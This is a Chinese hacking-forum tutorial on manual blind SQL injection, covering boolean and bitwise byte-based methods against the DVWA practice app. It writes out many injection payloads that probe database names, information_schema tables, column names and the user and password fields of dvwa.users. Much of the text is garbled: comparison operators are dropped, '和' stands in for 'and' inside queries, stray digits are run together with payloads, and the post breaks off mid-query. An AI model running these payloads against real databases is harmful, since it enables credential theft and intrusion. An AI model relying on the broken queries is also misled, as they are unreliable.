跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

精选回复

发布于

SQL注入(盲注)

概念:SQL Injection (Blind),即SQL盲注入,与一般注入不同的是,一般注入攻击者可以直接从页面看到注入语句的执行结果,但盲注入时,攻击者通常无法从显示页面获取执行结果,甚至无法知道注入语句是否已经执行。因此,盲注比一般注射难度更大。目前,网上现有的SQL注入漏洞大部分都是SQL盲注入。

手动盲注思路:手动盲注的过程就像和机器人聊天。这个机器人知道很多,但只会回答“是”或“否”,所以你需要问它诸如“数据库名称的第一个字母是a吗?”之类的问题。通过这种机械式的询问,最终你会得到你想要的数据。盲注入分为基于布尔的盲注入、基于时间的盲注入和基于错误的盲注入。由于实验环境的限制,这里仅演示基于布尔的盲注入和基于时间的盲注入。

手动盲注基本步骤: 1、判断是否有注入,注入的是字符还是数字。

2.猜测当前数据库名称

3.猜测数据库中的表名

4.猜测表中的字段名称

5. 猜测数据

低(基于布尔的字符盲注入)

首先执行正常数据输入。根据环境提示,需要输入用户ID,在文本框中输入数字1,然后提交。返回结果如下图:614ddc9999c5f17777608725f7bff485450305809.png

从上图可以看出,输入正确数据后返回值是User ID isn't in the Database。输入错误数据,查看mkbk的返回值,User ID is MISSING from the database d48bef70ba40ee73830901168b2662e5450305809.png

固定提示信息符合SQL盲注的特点,即不会返回具体数据,而只会返回数据是否存在。

1。判断是否存在SQL盲注入以及注入是字符类型还是数字类型

输入1' and 1=1 # 显示存在:853a598a04cb6bb07a349055559de58c450305809.png

输入1'and 1=2#,显示不存在:7acd8c5f07056a4121ec857ad48042b5450305809.png

说明存在字符类型的SQL盲注入。

2.猜测数据库名称的长度

使用DATABASE() 函数获取当前数据库。因为是盲注入,所以只返回正确和错误,无法返回和显示具体值。因此,需要进行更详细的判断。首先,使用DATABASE()函数获取数据库名称后,需要确定名称的长度和名称字符组成。使用注入语句1'和LENGTH(DATABASE())=1 #进行判断。它显示为错误。判断长度不为1,继续将1替换为2、3、4等值作为注入。注入过程中发现,当注入语句为1'且LENGTH(DATABASE())=4 #时,返回值正确,因此可以判断数据库长度为4。

输入1' and LENGTH(DATABASE())=1 #,会显示不存在;

输入1' and LENGTH(DATABASE())=2 #,会显示不存在;

输入1' and LENGTH(DATABASE())=3 #,会显示不存在;

输入1'和LENGTH(DATABASE())=4 #,就会显示它存在:

8d78801b8058d70c4721cb80d92c4993450305809.png

3.猜猜数据库名称

ASCII编码:大写字符A-Z的值为65-90;小写字符a-z的值为97-122;

SUBSTR(str, start, length) 函数从str 字符串的起始位置开始提取LENGTH 长度的子字符串。

ASCII() 函数返回字符的ASCII 代码值(十进制)。

DATABASE() 函数用于返回当前数据库的名称。

使用二进制方法判断字符

97a 98b 99c 100d 101e 102f 103g 104h 105i 106j 107k 108l 109m110n 111o 112p 113q 114r 115s 116t 117u 118v 119w 120x 121y 122z 输入1' and ASCII( SUBSTR(DATABASE(), 1, 1) ) 97 #,显示存在,说明数据库名第一个字符的ascii 值大于97(小写字母a 的ascii 值);

输入1' and ASCII( SUBSTR(DATABASE(), 1, 1) ) 122 #,会显示存在,说明数据库名第一个字符的ASCII 值小于122(小写字母z 的ASCII 值);

输入1' and ASCII( SUBSTR(DATABASE(), 1, 1) ) 109 #,会显示存在,说明数据库名第一个字符的ASCII 值小于109(小写字母m 的ASCII 值);

输入1' and ASCII( SUBSTR(DATABASE(), 1, 1) ) 103 #,会显示存在,说明数据库名第一个字符的ASCII 值小于103(小写字母g 的ASCII 值);

输入1' and ASCII( SUBSTR(DATABASE(), 1, 1) ) 100 #,显示不存在,说明数据库名第一个字符的ASCII值不小于100(小写字母d的ASCII值);

输入1' and ASCII( SUBSTR(DATABASE(), 1, 1) ) 100 #,显示不存在,说明数据库名第一个字符的ascii值不大于100(小写字母d的ascii值),所以数据库名第一个字符的ascii值为100,即小写字母d。

重复上述步骤3次(但注意修改SUBSTR()函数的起始值),就可以猜出完整的数据库名称(dvwa)。

4。猜测数据库中有多少张表

1' and (select COUNT(table_name) from information_schema.tables where table_schema=DATABASE())=1 # 显示不存在1' and (select COUNT(table_name) from information_schema.tables where table_schema=DATABASE())=2 # 显示存在

说明数据库中有2张表。

5。猜测数据库中表的长度

LENGTH(str): 返回字符串的字符数(长度)。 LIMIT 偏移量,count: 偏移量是结果集的起始行,从0开始计数。count是要返回的行数。

1' and LENGTH( SUBSTR( (select table_name from information_schema.tables where table_schema=DATABASE() LIMIT 0,1), 1, 1) )=1 # 显示不存在1' and LENGTH( SUBSTR( (select table_name from information_schema.tables where table_schema=DATABASE() LIMIT 0,1), 1, 1) )=2 # 显示不存在

…1' and LENGTH( SUBSTR( (select table_name from information_schema.tables where table_schema=DATABASE() LIMIT 0,1), 1, 1) )=9 # 显示存在

注意第一个表的表名长度为9,重复上述步骤猜测另一个表的长度为5。

6。猜测数据库中表的名称

1' and ASCII( SUBSTR( (select table_name from information_schema.tables where table_schema=DATABASE() LIMIT 0,1), 1, 1) ) 97 # 显示1' and ASCII( SUBSTR( (select table_name from information_schema.tables where table_schema=DATABASE() LIMIT 0,1), 1, 1) ) 122 # 显示是否存在1' 和ASCII( SUBSTR( (select table_name from information_schema.tables where table_schema=DATABASE() LIMIT 0,1), 1, 1)) 109 # 显示是否存在1' 和ASCII( SUBSTR( (select table_name from information_schema.tables where table_schema=DATABASE() LIMIT) 0,1), 1, 1)) 103 # 显示不存在1' and ASCII( SUBSTR( (select table_name from information_schema.tables where table_schema=DATABASE() LIMIT 0,1), 1, 1)) 103 # 显示不存在

表示第一个表的表名第一个字符为小写字母g。重复上述步骤猜测两个表名(guestbook、users)。

7。猜猜表中有多少个字段

1' and ( select COUNT(column_name) from information_schema.columns where table_schema=DATABASE() and table_name='users' )=1 # 显示不存在

…1' and ( select COUNT(column_name) from information_schema.columns where table_schema=DATABASE() and table_name='users' )=8 # 显示存在

请注意,users 表有8 个字段。

8。猜测表中字段长度

1' and LENGTH( SUBSTR( (select column_name from information_schema.columns where table_name='users' limit 0,1), 1, 1 ) )=1 # 显示不存在

…1' and LENGTH( SUBSTR( (select column_name from information_schema.columns where table_name='users' limit 0,1), 1, 1 ) )=7 # 显示存在

请注意,users 表的第一个字段的长度为7。

9。猜猜表中的字段名称

使用二分法猜测字段名:

Input 1' and ASCII( SUBSTR( (SELECT column_name FROM information_schema.columns WHERE table_schema='dvwa' AND table_name='users' LIMIT 0,1), 1, 1) ) 97 # 显示存在,说明该字段第一个字符的ascii值大于97(小写字母a的ascii值);

Input 1' and SELECT ASCII( SUBSTR( (SELECT column_name FROM information_schema.columns WHERE table_schema='dvwa' AND table_name='users' LIMIT 0,1), 1, 1) ) 122 # 显示存在,说明该字段第一个字符的ascii值小于122(小写字母z的ascii值);

Input 1' and SELECT ASCII( SUBSTR( (SELECT column_name FROM information_schema.columns WHERE table_schema='dvwa' AND table_name='users' LIMIT 0,1), 1, 1) ) 110 # 显示不存在,可判断为110-121之间;

Input 1' and SELECT ASCII( SUBSTR( (SELECT column_name FROM information_schema.columns WHERE table_schema='dvwa' AND table_name='users' LIMIT 0,1), 1, 1) ) 115 # 显示不存在,可判断为115-121之间;

Input 1' and SELECT ASCII( SUBSTR( (SELECT column_name FROM information_schema.columns WHERE table_schema='dvwa' AND table_name='users' LIMIT 0,1), 1, 1) ) 118 # 显示存在,可判断为115-117之间;

Input 1' and SELECT ASCII( SUBSTR( (SELECT column_name FROM information_schema.columns WHERE table_schema='dvwa' AND table_name='users' LIMIT 0,1), 1, 1) ) 116 # 显示存在,说明该值大于116且小于等于117,由于都是整数值,所以值为117,对应查询ASCII码表,确定第一字段的第一个字符为“u”。

使用同样的测试方法获取其他字符,可以得到第一个字段为user_id。其余七个字段(user、password、last_name、last_login、first_name、failed_login、avatar)的长度和名称以同样的方式获取。

10。猜猜数据

通过前面的盲注入,我们得到数据库dvwa包含guestbook和users两张表,其中users表中的user和password字段是攻击的重点。

二分法也是用来猜测这两个字段的值的长度和名称。

123 1' and SELECT LENGTH( (SELECT `user` FROM dvwa.users LIMIT 0,1) )=1 # 显示不存在. SELECT LENGTH( (SELECT `user` FROM dvwa.users LIMIT 0,1) )=5 # 显示存在,说明user字段第一条记录的长度为5。 121' and SELECT ASCII( SUBSTR( (SELECT `user` FROM dvwa.users LIMIT 0,1), 1, 1) ) 97 # 1' and SELECT ASCII( SUBSTR( (SELECT `user` FROM dvwa.users LIMIT 0,1), 1, 1) ) 97 # 请注意,第一个字段中第一条记录的第一个字符是a。继续用二分法一一判断。测试获取各个字符,可以得到第一条记录为“admin”。

低(基于布尔的字节盲注入)

基于字节注入,需要知道计算机用一个字节存储英文字符,用两个字节存储一个汉字。假设实验中的数据都是英文字符,那么只需要处理一个字节的数据。一个字节由八位组成。每位从高到低表示的十进制数据如下表所示:

字节二进制位

小数数据

1000 0000

128

0100 0000

64

0010 0000

32

0001 0000

16

0000 1000

8

0000 0100

4

0000 0010

2

0000 0001

1

将上表中的八个二进制位(如下表所示)对一个字节进行逻辑“”运算,即可取出一个字节的每一位。

1号

2号

1 号2 号

1

1

1

1

0

0

0

1

0

0

0

0

从上表可以看出,对两个数进行运算时,两个值都为1时值为1,其他时候值为0。当某个值为1或0时,与1进行运算仍为1或0,原值不变。当值为1或0时,计算值为0时,结果为0。

利用逻辑运算的特点,可以取出每一位。例如,二进制位“1001 1100”与表6-4中的8个二进制位进行运算。结果如下。

字节二进制位

固定字节

结果

十进制值

逻辑值

1000 0000

1001 1100

1000 0000

128

1(真实值)

0100 0000

1001 1100

0000 0000

0

0(假值)

0010 0000

1001 1100

0000 0000

0

0(假值)

0001 0000

1001 1100

0001 0000

16

1(真实值)

0000 1000

1001 1100

0000 1000

8

1(真实值)

0000 0100

1001 1100

0000 0100

4

1(真实值)

0000 0010

1001 1100

0000 0000

0

0(假值)

0000 0001

1001 1100

0000 0000

0

0(假值)

从上表可以看出,计算后会返回每一位的值。采用基于字节的注入方式,优点是每个字符的判断只需要运行八次就可以做出准确的判断。缺点是每个角色至少要被判断八次。采用128个字符的二分法,最多需要2^n=128,即n为7,最多需要7次。

重复基于布尔字符的盲注入步骤只会更改注入语句。这里我们只简单描述一下注入语句和注入结果。

测试以确定数据库的长度。注入语句为:

123456781' 和ascii(length(database())) 128=128#Error1' 和ascii(length(database())) 64=64#Error1' 和ascii(length(database())) 32=32#Correct1' 和ascii(length(database())) 16=16#Correct1' 和ascii(length(database())) 8=8#Error1' and ascii(length(database())) 4=4#Correct1' and ascii(length(database())) 2=2#Error1' and ascii(length(database())) 1=1#Error 从上面的逻辑值可以看出,二进制位为“0011 0100”转换成十进制“52”。在ASCII码表中,十进制值为52的字符是数字4,因此数据库名称的长度为4。

判断数据库名的每个字符,使用注入语句1'和ascii(substr(database(),1,1)) 128=128#。将等号两边的值从128替换为“64,32,16,8,4,2,1”来一一判断每个字节的值。如下图,从逻辑值可以看出,二进制位为“0110 0100”,十进制值为“100”,对应ASCII码表中的字符“d”。

123456781' 和ascii(substr(database(),1,1)) 128=128#wrong1' 和ascii(substr(database(),1,1)) 64=64# Correct1' 和ascii(substr(database(),1,1)) 32=32# Correct1' 和ascii(substr(database(),1,1)) 16=16#Error1' 和ascii(substr(database(),1,1)) 8=8#Error1' 和ascii(substr(database(),1,1)) 4=4#Correct1' 和ascii(substr(database(),1,1)) 2=2#Error1' 和ascii(substr(database(),1,1)) 1=1#Error

确定数据表的个数,注入语句为1'和ascii(select count(table_name) from information_schema.tables where table_schema=database()) 128=128#。等号两边的值从128替换为“64,32,16,8,4,2,1”,并且一一确定每个字节的值。

在第一个数据表中,判断表名的长度。注入语句为1'和ascii(length( substr(select table_name from information_schema.tables where table_schema=database() limit 0,1),1)) 128=128 #。将等号两边的值替换为128为“64,32,16,8,4,2,1”,对每个字节的值进行一一判断。

第一个表的表名第一个字符,注入语句为1' and ascii( substr(( sel

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。